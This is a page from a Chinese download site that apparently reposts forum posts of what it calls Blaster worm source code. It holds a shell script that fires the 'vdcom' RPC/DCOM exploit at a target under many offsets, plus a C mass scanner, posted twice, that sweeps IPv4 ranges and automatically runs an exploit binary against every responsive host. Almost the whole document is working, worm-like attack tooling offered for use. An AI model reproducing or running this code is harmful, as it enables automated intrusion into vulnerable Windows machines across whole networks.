⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 冲击波原代码.txt

📁 冲击波原代码的最新版本
💻 TXT
📖 第 1 页 / 共 2 页
字号:
./vdcom 46 $1&
./vdcom 10 $1&
./vdcom 11 $1&
./vdcom 12 $1&
./vdcom 13 $1&
./vdcom 14 $1&
./vdcom 15 $1&
./vdcom 16 $1&
./vdcom 17 $1&
./vdcom 18 $1&
./vdcom 19 $1&
./vdcom 20 $1&
./vdcom 21 $1&
./vdcom 22 $1&
./vdcom 23 $1&
./vdcom 24 $1&
./vdcom 25 $1&
./vdcom 26 $1&
./vdcom 27 $1&
./vdcom 28 $1&
./vdcom 29 $1&
./vdcom 30 $1&
./vdcom 31 $1&
./vdcom 32 $1&
./vdcom 33 $1&
./vdcom 34 $1&
./vdcom 35 $1&
./vdcom 36 $1&
./vdcom 37 $1&
./vdcom 38 $1&
./vdcom 39 $1&
./vdcom 40 $1&
./vdcom 41 $1&
./vdcom 42 $1&
./vdcom 43 $1&
./vdcom 5 $1&
./vdcom 4 $1&
./vdcom 6 $1&
./vdcom 0 $1&
./vdcom 1 $1&
./vdcom 2 $1&
./vdcom 3 $1&
./vdcom 8 $1&
./vdcom 9 $1&
./vdcom 7 $1&



--------------------------------------------------------------------------------
『 网搜论坛』 http://200cn.bak.cn  20cn.126.com
██████████████████████████

 
B1层 发表时间: 10/20 21:52 

--------------------------------------------------------------------------------
  回复: 日月双星 [abctm]    版主 回复   收藏  
SCAN.c


#include <stdio.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define MAX_SOCKETS 1000
#define TIMEOUT 2

#define S_NONE      0
#define S_CONNECTING 1

struct conn_t {
  int s;
  char status;
  time_t a;
  struct sockaddr_in addr;
};
struct conn_t connlist[MAX_SOCKETS];

void init_sockets(void);
void check_sockets(void);
void fatal(char *);

int main(int argc, char *argv[])
{
  int done, i, aa, bb, cc, dd, ret, k, ns;
  unsigned int port;
  time_t scantime;
  char ip[20];

  if (argc < 3) {
    printf("Usage: %s <a-block> <port> [b-block] [c-block]\n", argv[0]);
    return -1;
  }

  done = 0; bb = 0; cc = 0; dd = 0; aa = 0; port = 0;

  aa = atoi(argv[1]);
  if ((aa < 0) || (aa > 255)) {
    fatal("Invalid a-range\n");
  }
  
  port = (unsigned int)atoi(argv[2]);
  if (port == 0)
    fatal("Bad port number.\n");  

  if (argc >= 4) {
    bb = atoi(argv[3]);
    if ((bb < 0) || (bb > 255))
        fatal("Invalid b-range.\n");
  }

  if (argc >= 5) {
    cc = atoi(argv[4]);
    if ((cc < 0) || (cc > 255))
        fatal("Invalid c-range.\n");
  }  

  init_sockets();

  scantime = time(0);

  while(!done) {
    for (i = 0; i < MAX_SOCKETS; i++) {
        if (dd == 255) {
          if (cc < 255) {
              cc++;
              dd = 0;
          }
          else {
              if (bb < 255) {
                bb++;
                cc = 0;
                dd = 0;
              }
              else {
                if (aa < 255) {
                    aa++;
                    bb = 0;
                    cc = 0;
                    dd = 0;
                }
                else {
                    ns = 0;
                    for (k = 0; k < MAX_SOCKETS; k++) {
                        if (connlist[k].status > S_NONE)
                          ns++;
                    }

                    if (ns == 0)
                      break;
                }
              }
          }
      }

        if (connlist[i].status == S_NONE) {
          connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
          if (connlist[i].s != -1) {
            ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
            if (ret == -1) {
                printf("Unable to set O_NONBLOCK\n");
                close(connlist[i].s);
            }
            else {
              memset((char *)ip, 0, 20);
              sprintf(ip, "%d.%d.%d.%d", aa, bb, cc, dd);
              connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
              if (connlist[i].addr.sin_addr.s_addr == -1)
                  fatal("Invalid IP.");
              connlist[i].addr.sin_family = AF_INET;
              connlist[i].addr.sin_port = htons(port);
              connlist[i].a = time(0);
              connlist[i].status = S_CONNECTING;
              dd++;
              }
          }
        }
    }

    check_sockets();
  }

}

void init_sockets(void)
{
  int i;

  for (i = 0; i < MAX_SOCKETS; i++) {
      connlist[i].status = S_NONE;
      memset((struct sockaddr_in *)&connlist[i].addr, 0, 
            sizeof(struct sockaddr_in));
  }
}

void check_sockets(void)
{
  int i, ret;

  for (i = 0; i < MAX_SOCKETS; i++) {
      if ((connlist[i].a < (time(0) - TIMEOUT)) &&
          (connlist[i].status == S_CONNECTING)) {
        close(connlist[i].s);
        connlist[i].status = S_NONE;
      }

      else if (connlist[i].status == S_CONNECTING) {
        ret = connect(connlist[i].s,
                      (struct sockaddr *)&connlist[i].addr,
                      sizeof(struct sockaddr_in));
        if (ret == -1) {
            if (errno == EISCONN) {
              printf("%s\n",
                      (char *)inet_ntoa(connlist[i].addr.sin_addr),
                      (time(0)-connlist[i].a));
              close(connlist[i].s);
              connlist[i].status = S_NONE;
            }

            if ((errno != EALREADY) && (errno != EINPROGRESS)) {
              close(connlist[i].s);
              connlist[i].status = S_NONE;
            }
                    
        }
        
        else {
  char luck[100];
  sprintf(luck,"./serv %s",(char *)inet_ntoa(connlist[i].addr.sin_addr),(time(0)-connlist[i].a));
          printf("Attempting RPC/DCOM on %s\n",
                  (char *)inet_ntoa(connlist[i].addr.sin_addr),
                  (time(0)-connlist[i].a));
          system(luck);
  printf("Done with %s Next ...\n");
          close(connlist[i].s);
          connlist[i].status = S_NONE;
        }
      }
  }
}

void fatal(char *err)
{
  int i;
  printf("Error: %s\n", err);
  for (i = 0; i < MAX_SOCKETS; i++) {
      if (connlist[i].status >= S_CONNECTING)
        close(connlist[i].s);
  }
  exit(-1);
}



--------------------------------------------------------------------------------
『 网搜论坛』 http://200cn.bak.cn  20cn.126.com
██████████████████████████

 
B2层 发表时间: 10/20 21:53 

--------------------------------------------------------------------------------
  回复: 日月双星 [abctm]    版主 回复   收藏  
SCAN.c


#include <stdio.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define MAX_SOCKETS 1000
#define TIMEOUT 2

#define S_NONE      0
#define S_CONNECTING 1

struct conn_t {
  int s;
  char status;
  time_t a;
  struct sockaddr_in addr;
};
struct conn_t connlist[MAX_SOCKETS];

void init_sockets(void);
void check_sockets(void);
void fatal(char *);

int main(int argc, char *argv[])
{
  int done, i, aa, bb, cc, dd, ret, k, ns;
  unsigned int port;
  time_t scantime;
  char ip[20];

  if (argc < 3) {
    printf("Usage: %s <a-block> <port> [b-block] [c-block]\n", argv[0]);
    return -1;
  }

  done = 0; bb = 0; cc = 0; dd = 0; aa = 0; port = 0;

  aa = atoi(argv[1]);
  if ((aa < 0) || (aa > 255)) {
    fatal("Invalid a-range\n");
  }
  
  port = (unsigned int)atoi(argv[2]);
  if (port == 0)
    fatal("Bad port number.\n");  

  if (argc >= 4) {
    bb = atoi(argv[3]);
    if ((bb < 0) || (bb > 255))
        fatal("Invalid b-range.\n");
  }

  if (argc >= 5) {
    cc = atoi(argv[4]);
    if ((cc < 0) || (cc > 255))
        fatal("Invalid c-range.\n");
  }  

  init_sockets();

  scantime = time(0);

  while(!done) {
    for (i = 0; i < MAX_SOCKETS; i++) {
        if (dd == 255) {
          if (cc < 255) {
              cc++;
              dd = 0;
          }
          else {
              if (bb < 255) {
                bb++;
                cc = 0;
                dd = 0;
              }
              else {
                if (aa < 255) {
                    aa++;
                    bb = 0;
                    cc = 0;
                    dd = 0;
                }
                else {
                    ns = 0;
                    for (k = 0; k < MAX_SOCKETS; k++) {
                        if (connlist[k].status > S_NONE)
                          ns++;
                    }

                    if (ns == 0)
                      break;
                }
              }
          }
      }

        if (connlist[i].status == S_NONE) {
          connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
          if (connlist[i].s != -1) {
            ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
            if (ret == -1) {
                printf("Unable to set O_NONBLOCK\n");
                close(connlist[i].s);
            }
            else {
              memset((char *)ip, 0, 20);
              sprintf(ip, "%d.%d.%d.%d", aa, bb, cc, dd);
              connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
              if (connlist[i].addr.sin_addr.s_addr == -1)
                  fatal("Invalid IP.");
              connlist[i].addr.sin_family = AF_INET;
              connlist[i].addr.sin_port = htons(port);
              connlist[i].a = time(0);
              connlist[i].status = S_CONNECTING;
              dd++;
              }
          }
        }
    }

    check_sockets();
  }

}

void init_sockets(void)
{
  int i;

  for (i = 0; i < MAX_SOCKETS; i++) {
      connlist[i].status = S_NONE;
      memset((struct sockaddr_in *)&connlist[i].addr, 0, 
            sizeof(struct sockaddr_in));
  }
}

void check_sockets(void)
{
  int i, ret;

  for (i = 0; i < MAX_SOCKETS; i++) {
      if ((connlist[i].a < (time(0) - TIMEOUT)) &&
          (connlist[i].status == S_CONNECTING)) {
        close(connlist[i].s);
        connlist[i].status = S_NONE;
      }

      else if (connlist[i].status == S_CONNECTING) {
        ret = connect(connlist[i].s,
                      (struct sockaddr *)&connlist[i].addr,
                      sizeof(struct sockaddr_in));
        if (ret == -1) {
            if (errno == EISCONN) {
              printf("%s\n",
                      (char *)inet_ntoa(connlist[i].addr.sin_addr),
                      (time(0)-connlist[i].a));
              close(connlist[i].s);
              connlist[i].status = S_NONE;
            }

            if ((errno != EALREADY) && (errno != EINPROGRESS)) {
              close(connlist[i].s);
              connlist[i].status = S_NONE;
            }
                    
        }
        
        else {
  char luck[100];
  sprintf(luck,"./serv %s",(char *)inet_ntoa(connlist[i].addr.sin_addr),(time(0)-connlist[i].a));
          printf("Attempting RPC/DCOM on %s\n",
                  (char *)inet_ntoa(connlist[i].addr.sin_addr),
                  (time(0)-connlist[i].a));
          system(luck);
  printf("Done with %s Next ...\n");
          close(connlist[i].s);
          connlist[i].status = S_NONE;
        }
      }
  }
}

void fatal(char *err)
{
  int i;
  printf("Error: %s\n", err);
  for (i = 0; i < MAX_SOCKETS; i++) {
      if (connlist[i].status >= S_CONNECTING)
        close(connlist[i].s);
  }
  exit(-1);
}


 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -